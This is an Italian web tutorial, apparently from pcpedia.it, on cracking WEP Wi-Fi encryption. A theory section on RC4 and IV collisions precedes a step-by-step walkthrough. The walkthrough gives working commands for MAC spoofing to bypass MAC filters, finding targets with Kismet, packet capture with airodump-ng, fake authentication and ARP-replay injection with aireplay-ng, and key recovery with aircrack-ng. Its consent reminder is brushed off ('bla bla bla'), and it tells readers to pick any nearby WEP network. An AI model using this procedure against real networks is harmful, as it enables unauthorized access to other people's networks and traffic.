Inizieremo con un po’ di teoria su come funziona il WEP e l’RC4 per poi illustrare a fondo il funzionamento di alcuni programmi (Kismet e la suite Aircrack). Infine applicheremo le conoscenze acquisite con un semplice tutorial. I programmi che utilizzeremo sono contenuti in tutte le distribuzioni LINUX.
E’ possibile svolgere il tutorial senza nozioni di teoria ma a parer mio non è dignitoso svolgere delle operazioni senza conoscerne neppure il significato.
Qui riporto uno script di shell in bash che compie queste operazioni in automatico.
-
Un po’ di teoria
Le trasmissioni wireless sono altamente insicure poiché consentono a chiunque di accedere ai dati trasmessi da una rete domestica anche distante centinaia di metri dall’Access Point.
Com’è noto ai più lo standard IEEE802.11 include una protezione di base conosciuta come il protocollo WEP (Wired Equivalent Protocol) che definisce una serie di direttive tramite cui i dati possono essere trasmessi via radio con un certo grado di sicurezza.
RC4 e KSA
L’algoritmo utilizzato dal WEP si chiama RC4: è un sistema di cifratura semplice e solido… E’ la sua implementazione nel WEP che crea parecchi problemi di sicurezza. RC4 è utilizzato ad esempio in SSL (Secure Sockets Layers) e quindi in moltissime attività di commercio elettronico. Esso utilizza una chiave unica (packet key) per ogni pacchetto di dati trasmesso.
RC4 si occupa di generare dei numeri pseudo-casuali, (è un PRNG=Pseudo-Random Number Generator). In poche parole grazie ad una “password” in ingresso crea una serie di numeri, che ad un'analisi statistica sembrano casuali..Invece sono pseudo-casuali ossia possiamo riottenere la stessa serie di dati se la password utilizzata è lo stessa.
Se effettuiamo lo XOR tra i numeri casuali generati da RC4 ed un documento, otterremo una terza serie di dati che sarà anch’essa un apparente flusso di dati casuali.
NOTA:lo XOR (or esclusivo) è una semplicissima operazione booleana operata tra due bit:

CODIFICA:
L’algoritmo, come già detto, necessita di una password condivisa, un conseguente valore di stato ed un vettore di inizializzazione (IV) di 24 bit: questo sistema è noto con il nome di KSA (key scheduling algorithm).
Ogni pacchetto trasmesso avrà un IV differente che serve assieme alla password condivisa a creare una packet key univoca per ciascun “dato”.
Il vettore così creato è messo in relazione XOR con il messaggio in chiaro da trasmettere: viene cosi’ creato il testo cifrato.
In aggiunta a questo flusso viene aggiunto il checksum (che in poche parole serve ad assicurare l’integrità dei dati durante la trasmissione) ed un bit che marchia il pacchetto come cifrato.
DECODIFICA:
Quando il pacchetto viene ricevuto (il bit indica che è cifrato..) :
-
l’ IV (vettore inizializzazione) viene anteposto ai dati e messo in relazione con la password condivisa.
-
viene quindi ricreato il KSA per ricreare il flusso dati.
-
Il flusso dati ed il pacchetto di dati cifrato viene messo in XOR ricavando così i dati in chiaro.
La Collisione degli IV
Eccoci giunti a spiegare la vera debolezza del wep: la collisione dei vettori di inizializzazione.
Come già visto, il WEP utilizza un IV di 24 bit che viene anteposto ad ogni pacchetto inviato. Ci possono essere 2^24=16 milioni di IV differenti e quindi di possibili chiavi. Sono poche?
Sono poche poiché una volta terminati gli IV disponibili si assiste a delle ripetizioni (dette collisioni) . In media ogni 10 MB si verificano come minimo 1 o 2 collisioni.
Catturando molti MB di dati wireless è possibile collezionare tutti gli IV a disposizione con la conseguente possibilità di tentare una decodifica.
Se gli IV diversi fossero più numerosi il tempo per una ripetizione sarebbe molto più elevato: questa è una delle grosse debolezze del WEP.L’ altra debolezza è ovviamente che gli IV sono trasmessi in chiaro.
se volete approfondire ancora di più questo argomento: ecco la nuova guida completa al wep :
http://www.pcpedia.it/Hacking/approfondimento-wep.html
La questione dei driver
Per svolgere con successo il tutorial è fondamentale possedere una scheda wireless che possa operare in monitor mode ed possa effettuare la packet iniection. Molte schede wifi la supportano ma è necessario verificare se esistono i driver opportuni. Usiamo LINUX poiché i driver “speciali” per windows sono estremamente pochi. Sarebbe opportuno utilizzare una distribuzione live (che si avvia da cd-rom) recente, meglio se già predisposta a queste operazioni. Personalmente consiglio Backtrack 2 o 3.
E’ pertanto fondamentale informarsi sulle caratteristiche della propria scheda wifi e verificare se i driver per l’iniection sono già integrati nella distribuzione Linux scelta.
NOTA: a coloro che utilizzano ndiswrapper ricordo che nella maggior parte dei casi i driver windows non supportano nulla di quanto detto.
MAC spoofing
L’indirizzo MAC è un numero esadecimale che identifica univocamente la nostra scheda wireless e anche quella ethernet: è del tipo 00:11:22:33:44:55.
Tuttavia è facilmente modificabile sia in windows che linux. In windows si può modificare con programmini del tipo macmakeup, in linux si può usare ifconfig o macchanger.
Con macmakeup è estremamente semplice quindi vediamo come in linux:
ifconfig wlan0 down
ifconfig wlan0 hw ether 00:11:22:33:44:55 // il nuovo indirizzo MAC
ifconfig wlan0 up
dove wlan0 è il nome dato dal sistema alla nostra scheda wifi e varia a seconda del chip della scheda (si può verificare il nome digitando iwconfig da shell).
E’ evidente quindi come il filtro MAC usato da alcuni non sia questa grande difesa..
-
Uno sniffer wireless: Kismet
Kismet è un programma con una interfaccia spartana ma molto efficace. Il suo funzionamento è estremamente semplice. E’ in grado di elencare tutte le reti wireless captabili dalla scheda e di informarci su:
-
il tipo di protezione usata da una rete (WEP,WPA,WPA2,Open)
-
l’indirizzo MAC della rete e di tutti i suoi client (BSSID)
-
il nome alfanumerico della rete (ESSID)
-
la potenza e il rumore (le interferenze) del segnale
Inoltre setta automaticamente la scheda in monitor mode. Tuttavia per un difetto con alcune schede una volta spento il programma questa resta in monitor mode ed è necessario ripristinare manualmente la modalità Menaged (quella normale per intenderci).
Una volta avviato Kismet la scheda passa in modalità monitor e nella schermata principale appaiono le reti radio captate assieme ad altri dettagli raggruppati in colonne:
le colonne più significative sono:
ESSID: il nome dato alla rete
Ch: il canale su cui opera la rete
T: il tipo di rete (A= access point,H=ad hoc,G=gruppo reti)
W: il tipo di codifica (Y=WEP, N=no wep cioè open,O=altra codifica probabilmente WPA).
F: sono i flags (F=default, W=significa che avete impostato la chiave nel file di configurazione di Ksmet)
Ma ecco alcuni comandi utili da digitare:
-
s : (sort) apre una finestra che permette di ordinare le reti in base alla potenza del segnale, al tipo di codifica, all’ ESSID… Si torna al menù precedente sempre con q.
-
i : (informazioni) selezionando una rete con le frecce e premendo “i” si ottengono tutte le informazioni ricavabili: l’indirizzo MAC, i dettagli sulla codifica, la potenza del segnale, il numero di client connessi…etc
-
c : (client) fornisce dettagli sui client connesi alla rete scelta.
-
d : (dump) visualizza il traffico di rete: se è codificato osserveremo delle stringhe incomprensibili, se la rete è libera verrà visualizzato tutto il traffico in chiaro (ad esempio siti visitati, parole digitate).Se il traffico è criptato e possediamo la chiave possiamo inserirla nel file di configurazione di KISMET per decriptare in tempo reale (vd nota).
NOTA: per modificare il file di configurazione è sufficiente digitare da shell:
kwrite /var/local/etc/kismet.conf
si aprir à l’editor di testo kwrite e si dovrà aggiungere la riga
wepkey = BSSID,KEY
al posto di BSSID il ome della rete e di KEY la chiave esadecimale
nella colonna flags (F) relativa alla rete apparirà quindi W ad indicare il successo dell’operazione
-
TUTORIAL
Passiamo ad un esempio di applicazione della suite air crack; testiamolo su un nostro Access Point o su quello di un nostro amico consenziente (bla bla bla).
Le nostre operazioni si divideranno in 5 fasi
-
avvio distribuzione linux consiglio (Backtrack 2 o 3) e verifica driver wireless o installazione delle patch.
-
analisi della rete da crackare (uso di Kismet in monitor mode)
-
inizio cattura pacchetti con airodump con salvataggio dati
-
falsificazione dell’associazione alla rete con airodump
-
ARP spoofing (packet iniection) con aireplay
-
Crack della chiave in modo statico o dinamico con aircrack
0) Avvio di Backtrack

Come già detto backtrack è una distribuzione LINUX live ossia avviabile da cd rom. Quindi impostate la scheda madre in modo che il boot primario sia il cd-rom, riavviate il sistema con il cd di Backtrack ed aspettate che si carichi il Kernel Linux.
Al prompt come user digitate “root” e come password “toor”. A questo punto digitare “startx” per avviare l’interfaccia grafica.
Se possedete una scheda wireless compatibile con i driver linux allora tutto bene altrimenti informatevi su come installarli o mettere delle patch.
Altrimenti consiglio vivamente di installare la nuova versione della suite aircrack 0.9.1 che contiene, oltre che a migliori funzionalità, tutti i driver e le patch disponibili. Basta scaricare “aircrack-ng-0.9.1” porsi all’interno della cartella da shell e digitare “make” e poi “make install” e poi patchare i driver se necessario ( le patch sono contenute nella cartella di aircrack). Comunque questa non è una guida su linux e non posso certo soffermarmi su tutti i casi particolari quindi sta a voi informarvi su queste cose.
Ma supponiamo che sia andato tutto perfettamente senza intoppi e digitiamo iwconfig. Ci apparirà una lista delle interfacce di rete del sistema compresa la scheda wireless: annotatene il nome! Noi supporremo si chiami “wlan0”.Dovete annotare anche il vostro indirizzo MAC: per saperlo digitate
macchanger –s wlan0
1) Analisi delle reti con Kismet
Una volta avviato Kismet da console esso rileverà le reti nei dintorni.Potete ordinarle in base al tipo di codifica: premete s e poi w; (ricordare che si usa q per tornare al menù principale).
Scegliete una rete con un buon segnale che usi la codifica WEP (nella colonna la W): selezionatela e premete i per informazioni, poi c per sapere i client associati. Dovete annotare il suo ESSID,il suo BSSID e il canale su cui trasmette.
2) Cattura pacchetti con airodump
Lasciate aperto Kismet per mantenere il monitor mode ed in un’altrashell digitare:
airodump-ng wlan0 -w /mnt/sdb1_removable/prova --channel 3
-
wlan0 è il nome della wireless card che sostituirete con il vostro
-
-w + percorso indica dove verrà creato il file di cattura (prova.cap):in questo caso ho usato il percorso della mia penna usb,dopo channel mettete il canale che avete annotato prima.
3) Associazione alla rete
aireplay-ng -1 0 -e ESSID -a MACDEST -h MACPROPRIO wlan0
-
-1 è l’opzione che indica di falsificare l’autenticazione con l’AP
-
0 è il delay dell’attacco
-
ESSID è in nome alfanumerico della rete “obiettivo”
-
MACDEST è l’indirizzo MAC dell’obiettivo
-
MACPROPRIO è il vostro indirizzo MAC (BSSID)
-
wlan0 dovete sostituirlo con il nome della vostra interfaccia
NOTA:il MAC si scrive in questo modo 00:11:22:33:44:55 (con i “:” separatori )
Dovrebbe dare il messaggio di autenticazione corretta; se ciò non avviene significa o che avete sbagliato qualcosa o che la rete è troppo lontana o che è presente un filtro MAC (facilmente aggirabile come abbiamo già visto).
4) Packet Iniection
Sempre in una nuova shell:
aireplay-ng -3 -b MACDEST -h MACPROPRIO wlan0
Dopo questo comando dovrebbero incrementarsi molto velocemente gli ARP. Dovete catturare da 50000 a 200000 pacchetti per decriptare la chiave;dipende dal numero di bit di quest’ultima (64,128,256,512).Se avete fortuna ne bastano 30000 ma possiamo arrivare fino a 1000000 in casi estremi…
Se ciò non avviene settare la modalità di trasferimento con:
iwconfig wlan0 rate auto
Se avviene una dissociazione dall’ AP ripetere il passo 3.
5) Crack della chiave
Sempre con tutte le shell aperte che “lavorano” potete cercare di decriptare la chiave dinamicamente usando aircrack (dinamicamente poiché il file “prova.cap” è in continua crescita).
Useremo l’opzione –z di aircrack che effettuerà un tentativo di decrittazione ogni 5000 IV raccolti (sarebbe meglio farlo partire quando se ne sono raccolti già 40-50000..).Tale opzione è contenuta solo nelle ultime versioni.
In una nuova shell:
aircrack-ng -z -s /mnt/sdb1_removable/prova.cap
ovviamente dovete mettere il vostro percorso del file di cattura..Ogni 5000 IV catturati verrà effettuato un tentativo di crack.
Esistono molti altri tipi di attacchi tramite aircrack che saranno presto aggiunti in un articolo più approfondito su questa suite. Per informazioni sulle opzioni aggiuntive digitare da shell
aircrack-ng --help
NOTA: se dovete spegnere il pc e non siete riusciti a catturare abbastanza pacchetti riordate che potete unire i file di cattura con mergecap (o mergeivs) che fanno parte della suite ivstools…
Nel prossimo articolo (QUI) ci occuperemo del bruteforcing di una rete WPA;per consigli e collaborazioni Questo indirizzo e-mail è protetto dallo spam bot. Abilita Javascript per vederlo. .
UPDATE: se proprio volete capire bene ciò che state facendo ecco QUI l'approfondimento che spiega a fondo il funzionamento del wep delle sue debolezze:
Sostenete il rinnovamento del sito dando un'occhiata ai link pubblicitari che vi interessano.
| Commenti |
|
|
||||||||
|
||||||||
|
||||||||













